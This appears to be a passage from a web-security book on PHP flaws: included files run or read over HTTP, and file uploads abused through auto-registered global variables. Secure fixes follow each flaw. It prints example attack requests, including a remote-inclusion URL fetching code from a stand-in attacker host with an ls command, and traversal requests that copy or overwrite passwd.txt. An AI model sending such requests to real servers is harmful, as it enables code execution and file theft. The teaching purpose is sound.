Vulnerabilities Specific to PHP Scripts [3]

Errors in Included Files

Another common mistake is the incorrect use of included files.

PHP is a structured programming language. It allows programmers to put pieces of code into separate files. When doing so, a programmer can make two typical mistakes that can be used by an attacker.

Executing Included Files

Suppose that the programmer separates pieces of code into files with the PHP extension. The following structure is common:

defs.php

<?


// Declaring variables


$path="./";


?>


connect.inc.php

<?


// Connecting to a database


mysql_connect(..);


?>


func.inc.php

<?


include($path."connect.inc.php");


// Defining functions


?>


Image from book index.php

<?


include("defs.php");


include("func.inc.php");


// Some code


?>


As you can see, the following principles are used:

The Image from book index.php script includes and executes the defs.php script. The defs.php script declares a few variables, in particular, $path. This variable contains the relative path to the included files. In this example, it is the current directory.

Then the func.inc.php script is included and executed. At the beginning of the func.inc.php script, the connect.inc.php script is included and executed using the relative path stored in the $path variable. Remember, the value of this variable was defined earlier in the defs.php script, and in the normal situation this is safe.

The connect.inc.php script connects to a database, and the func.inc.php script defines a few functions.

So, if the attacker changes the external conditions of the Image from book INDEX.PHP script, he or she won't be able to obtain higher privileges in the system or collect additional information.

However, the attacker will notice that the files have the PHP extension and can be executed by the PHP interpreter. Technically, nothing prevents the attacker from requesting any of the included files using HTTP.

The FUNC.INC.PHP script is interesting from the attacker's point of view. What can he or she get by requesting it using HTTP?

There is an interesting line, include ($path. "connect.inc.php"), at the beginning of this file. When the Image from book INDEX.PHP script is requested, the $path variable is defined by the moment of execution of this line. However, when the FUNC.INC.PHP document is requested, the value of this variable isn't defined.

In other words, the variable is used without initialization. In some configurations of the PHP interpreter, this can lead to the PHP source code injection vulnerability.

A request exploiting this vulnerability can be like this:

http://site/func.inc.php?path=http://atacker.ru/cmd.htm?&cmd=ls+-la

Thus, the situation itself isn't a vulnerability. However, even when a programmer isn't going to allow users to execute included files, the scripts can be executed implicitly because their PHP extensions are associated with the PHP interpreter on the server.

The attacker is unlikely to know the names of included files that have holes in protection to request them using HTTP. In addition, he or she is unlikely to know how the holes could be exploited. However, the names of these files are predictable, and the attacker can use a vulnerability scanner that checks the presence of scripts according to a certain database, to obtain the names of internal scripts.

Most likely, the attacker will try to know as many directory names on the server as possible. To do this, he or she will search for the most commonly used directory names, such as /img/, /images/, /inc/, /include/, /adm/, and /admin/, among others. When detecting a desired directory, he or she can scan its subdirectories.

The analysis of the text of returned HTML pages can give the attacker certain information about the internal directories on the server. The HTML code can contain links to these directories.

Then the attacker is likely to scan every subdirectory for files with certain names. Scanning can be done with a CGI scanner, and the analysis of HTML pages can give additional information.

The HTML code can contain comments and links to other files left by the programmer. This can be also useful for the attacker.

To protect your system against the implicit response of your scripts that can give unforeseen responses to HTTP requests, stick to the following rule:




Rule

If certain scripts, documents, and programs shouldn't be accessible through HTTP to a remote user, bar this access explicitly.

Consider a few examples demonstrating how you can bar the access to included modules.

The first variant is incorrect. Define a variable in the main script and check its value in an included script.

Image from book main.php

<?


$include="ok";


include("defs.inc.php");


// Code


?>


defs.inc.php

<?


if($include<>'ok') die("access denied");


// Code


?>


This solution is vulnerable to the following attack:

http://site/defs.inc.php?include=ok

The vulnerability is present because, in certain configurations of the PHP interpreter, this request causes automatic initialization of the $include variable to the value of the include GET parameter.

Consider another example.

Image from book main.php

<?


define("Include", 1);


include("defs.inc.php");


// Code


?>


defs.inc.php

<?


if(!defined("Include")) die("access denied");


// Code


?>


This script uses the fact that the value of a constant in PHP cannot be defined other than by using the define() construction explicitly. If the attacker sends an HTTP request to the included file, the value of the constant won't be defined and the included script won't be executed.

Such a protection against execution of included files is universal because it doesn't depend on the PHP interpreter configuration or on the configuration and even the type of the HTTP server. Many software products, such as forums and portal systems, use this protection. It is rather popular.

However, this protection has one small drawback. It is effective only if the programmer puts appropriate checks into every script. Many popular systems are vulnerable only because one of the included files doesn't check a constant for existence.

You can prohibit access to included files through HTTP using tools of the HTTP server. For example, in Apache you can place the Image from book .htaccess file into the directory with included files with the following contents:

   deny from all


The attacker won't be able to access included files.

In addition, to restrict access to included files from a certain directory, you can insert a similar construction into the Image from book HTTPD.CONF file, which is Apache's main configuration file.

This method is reliable. However, it has a few drawbacks. In particular, it is server-dependent. In different servers, configuration directives that restrict access to files can be different.

Even if you know that Apache is used, you should have certain permissions in the main configuration file to use the Image from book .htaccess file.

Another method of restricting access to included files involves placing them in a directory outside the DocumentRoot directory.

Such directories aren't accessible using HTTP by definition. However, sometimes a user cannot access such a directory for writing. In addition, configurations of different servers can differ.

Reading Included Files

The vulnerability based on execution of included files takes place because these files often have the PHP extension. As a rule, this extension is associated with the PHP interpreter. In other words, when a file with the PHP extension is requested, the server doesn't return the text of the document to the client but starts the PHP interpreter, which executes the document as a PHP script. Then the server sends the result of execution to the client.

However, the programmer didn't intend it to execute included files separately.

Trying to avoid this situation, programmers often make a common mistake by giving included files extensions that aren't associated with an interpreter.

In particular, included files with the INC extension are common. This extension isn't associated with any interpreter, so an HTTP request to a file with this extension won't entail execution of the file. This guarantees that the attacker won't be able to exploit a vulnerability based on the possibility of executing included files.

However, the situation is still dangerous. Most Web servers, when they fail to find an application associated with a particular extension, return the contents of the file with this extension. As a result, the attacker will read the contents of included files. With the source code of the files, the attacker can find vulnerabilities that are difficult to find otherwise.

In addition, the source code sometimes contains logins and passwords to certain services. For example, a script can contain unencrypted logins and passwords to a database or to certain elements of the Web interface.

To avoid this vulnerability, stick to the following rule:




Rule

Don't name the files of included scripts so that their contents are available using HTTP. In addition, create protection against execution of these files.

Errors When Uploading Files

Sometimes, it is necessary to allow users to upload their files to the server. This option always presents a potential hole in security.

You should distinguish among three situations:

  • Uploaded files aren't available through HTTP to any user of the system. This is the safest situation.

  • Uploaded files are available only to the user who uploaded them.

  • Uploaded files are available to all users, for example, if a user in the forum up-loaded a logo.

When you provide the users with an interface for uploading their files on the Web server, several dangers can emerge. Most of them aren't related to a particular programming language, and I'm going to describe them later.

However, one common mistake is related to implementation of uploading files in PHP. The mistake is that a file uploaded using HTTP is first put into a temporary directory and then copied to the appropriate directory using a script.

Sometimes, the attacker can forge the values of the sent HTTP POST or GET parameters to make the script copy a target file to a directory where it will be available using HTTP.

Consider the following script, http://localhost/2/13.php (it is available on the accompanying CD-ROM):

   <form enctype="multipart/form-data" method=POST action=13.php>


<input type=hidden name=MAX_FILE_SIZE value=1000>


<input type=hidden name=aaa value=1000>


Send this file: <input name=userfile type=file>


<input type=submit value="Send File">


</form>


<?


if(!empty($userflie))


{


copy($userflie, "./upload/$userfile_name");


echo "<br> <br>


File is uploaded <a href=\"./upload/$userfile_name\">./


upload/$userfile_name</a>";


}


?>


There is another vulnerability is this script, but I'll describe it later because it isn't related to PHP.

This script acts as follows: First, it displays a form so that a user can send a file using his or her browser. Then, the received parameters are processed. The author of this script assumes that automatic registration of global variables is enabled in PHP settings.

If the file is uploaded successfully, the following global variables will be passed to the script:

  • $userfile — A temporary file name, under which the file is saved on the server

  • $userfile_name — The path to the file on the client

  • $userfile_size — The size of the uploaded file in bytes

  • $userfile_type — The file type (the browser may not send this value)

It is assumed here that the name of the form's control is userfile.

So, if the file was successfully uploaded, the value of the $userfile variable is passed to the script, and the block inside the if construction is executed. This block copies the $userfile file from the temporary directory to the . /UPLOAD/ directory with the file's original name.

What will happen if a user sends an HTTP GET or POST request with artificial values of the userfile, userfile_name, userfile_size, and userfile_type parameters but doesn't send a file? For example, what will happen if a user sends the http://localhost/2/13.php?userfile=./passwd.txt&userfile_name=out.txt request?

In this case, the PHP interpreter will automatically register the global variables $userfile and $userfile_name. Because their values aren't empty, the script will believe the file was uploaded to the temporary directory under the $userfile name. However, the name was forged by the attacker and can belong to any file in the system.

Then, the script copies the file to the upload directory under the $userfile_name name, also forged by the attacker and sent using HTTP. Now it only remains for the attacker to request the file from the upload directory. Thus, he or she will access an internal system file previously unavailable with HTTP. This is how the vulnerability can be exploited to obtain the contents of any file available for reading to the user who started the HTTP server.

For example, the following request copies an executable file to a directory accessible using HTTP, gives the file name the TXT extension, and makes it possible for the attacker to read the file:

http://localhost/2/13.php?userfile=./13.php&userfile_name=13.txt

To exploit this vulnerability, it is required that the uploaded files are available at least to the user who uploaded them.

Try to understand the reason for this vulnerability. The main reason is that a file is copied without a check of whether it is the file received from the user.

PHP offers functions that check whether a file was just uploaded. The move_uploaded_file ( ) function moves an uploaded file to another location. It checks whether the file with the specified name was just uploaded with the HTTP POST method. If this is not the case, the function does nothing and returns FALSE. If the file was just uploaded, the function tries to move it to the specified location. If it succeeds, it returns TRUE; otherwise, it returns FALSE.

Another function, is_uploaded_file(filename), returns TRUE if the file with the specified name was just uploaded with the HTTP POST method; it returns FALSE otherwise.

Another dangerous point in this script is the use of automatically registered global variables. Rather, the programmer should use the following variables:

  • $ FILES ['userfile' ] ['name' ] — For the original file name on the client

  • $ FILES ['userfile' ] ['type' ] — For the file type

  • $ FILES ['userfile' ] ['size'] - For the size of the uploaded file in bytes

  • $FILES ['userfile'] [' tmp_name' ] — For the temporary name, under which the file is saved on the server

The following variant of the script is safe from the danger of the attacker reading files:

   <form enctype="multipart/form-data" method=POST action=13.php>


<input type=hidden name=MAX_FILE_SIZE value=1000>


Send this file: <input name=userfile type=file>


<input type=submit value="Send File">


</form>


<?


if(is_uploaded_file($_FILES['userfile']['tmp_name']))


{


copy($_FILES['userfile']['tmp_name'],


"./upload/{$_FILES['userfile']['name']}");


echo "<br> <br>


File upload <a href=\"./upload/{$_FILES['userfile']['name']}\">


./upload/{$_FILES['userfile']['name']}</a>";


}


?>


Another variant is also safe:

   <form enctype="multipart/form-data" method=POST action=13.php>


<input type=hidden name=MAX_FILE_SIZE value=1000>


<input type=hidden name=aaa value=1000>


Send this file: <input name=userfile type=file>


<input type=submit value="Send File">


</form>


<?


if(move_uploaded_file{$_FILES['userfile']['tmp_name'],


$_FILES['userfile']['name']))


{


echo "<br> <br>


File upload <a href=\"./upload/{$_FILES['userfile']['name']}\">


./upload/{$_FILES['userfile']['name']}</a>";


}


?>


I should warn you that even this implementation of uploading the users' files contains a mistake that is described later. In brief, this mistake is that a user can submit any file name.

Secure processing of uploaded files requires that you stick to the following rules:

  • Before you copy a file, make sure it was just uploaded with the HTTP POST method. To do this, use the move_uploaded_file ( ) or the is_uploaded_file ( ) function. If they are unavailable (e.g., if your PHP version is too old), check whether the file is present in the temporary directory. However, this method isn't reliable enough.

  • If the name that the file receives after being moved or copied depends on data received from a user, it should be selected from a predefined set of valid names. The set should be thoroughly specified depending on the task.

  • Don't use automatically registered variables; use the $FILES array.

Consider another variant of exploitation of this vulnerability. This will use the fact that the http://localhost/2/13.php script doesn't filter the value of the $userfile_name variable.

Here, it is assumed that the PHP interpreter automatically registers HTTP GET and POST parameters as global variables. In addition, when files are uploaded using the userfile form control, the PHP interpreter automatically creates certain global variables. In particular, the $userfile variable will contain the path to the newly-uploaded file in the temporary directory.

The $userfile_name variable will contain the name of the file on the user's computer. This name is sent without a path, and the script uses this fact and doesn't try to extract the name from the string with the path. That is, it uses the user's file name without processing.

I demonstrated earlier how the attacker can use the vulnerability in a script allowing a user to send an artificial GET parameter userfile without actually sending the file. As you remember, the attacker can read any file in the system.

However, the attacker can also forge the $userfile_name parameter.

How can he or she benefit from it? The most dangerous thing is that the attacker can include the directory bypassing sequence in the artificial file name. At the same time, the $userfile variable should point to an existing file in the system.

So, if the attacker generates an appropriate HTTP GET request, he or she will be able to copy to any location on the server any file available for reading by the user who started the HTTP server.

The only requirement here is that the file should be available for writing to that user or the target file shouldn't exist while the directory is available for writing to the current user.

Here is a request that copies the Image from book PASSWD.TXT file to the current directory under the TEMP.TXT name:

http://localhost/2/13.php?userfile=./passwd.txt&userfile_name=./../temp.txt

If the attacker wants to write data into a file or to rewrite a file with the desired contents, he or she will save the desired file in the upload directory under any name. Then, he or she will copy this file to the desired location by exploiting the described vulnerability.

Suppose that the attacker wants to overwrite the Image from book PASSWD.TXT file with a file containing some malicious data. He or she will create a file, say, TEST.JPG, on the local computer. Note that regardless of the JPG extension this is a text file, rather than an image. Substituting the extension will help the attacker to circumvent possible filtration.

So, the attacker uploads the file with the desired contents to the server. Let the file be uploaded to the . /UPLOAD/TEST. JPG location.

A request that will rewrite the contents of Image from book PASSWD.TXT can look like this:

http://localhost/2/13.php?userfile=./upload/test.jpg&userfile_name=./../passwd.txt

Therefore, you shouldn't neglect protection in this case. Improper programming can entail consequences destructive to the system. The attacker will obtain the ability to do anything he or she likes with the files on the server available to the user who started the HTTP server.

This section described only mistakes related to the features of the PHP interpreter. However, some types of errors cannot be related to a particular programming language, and I'm going to describing them later.

The rules for securely programming the system components responsible for uploading files on the server were given earlier.

더보기

댓글,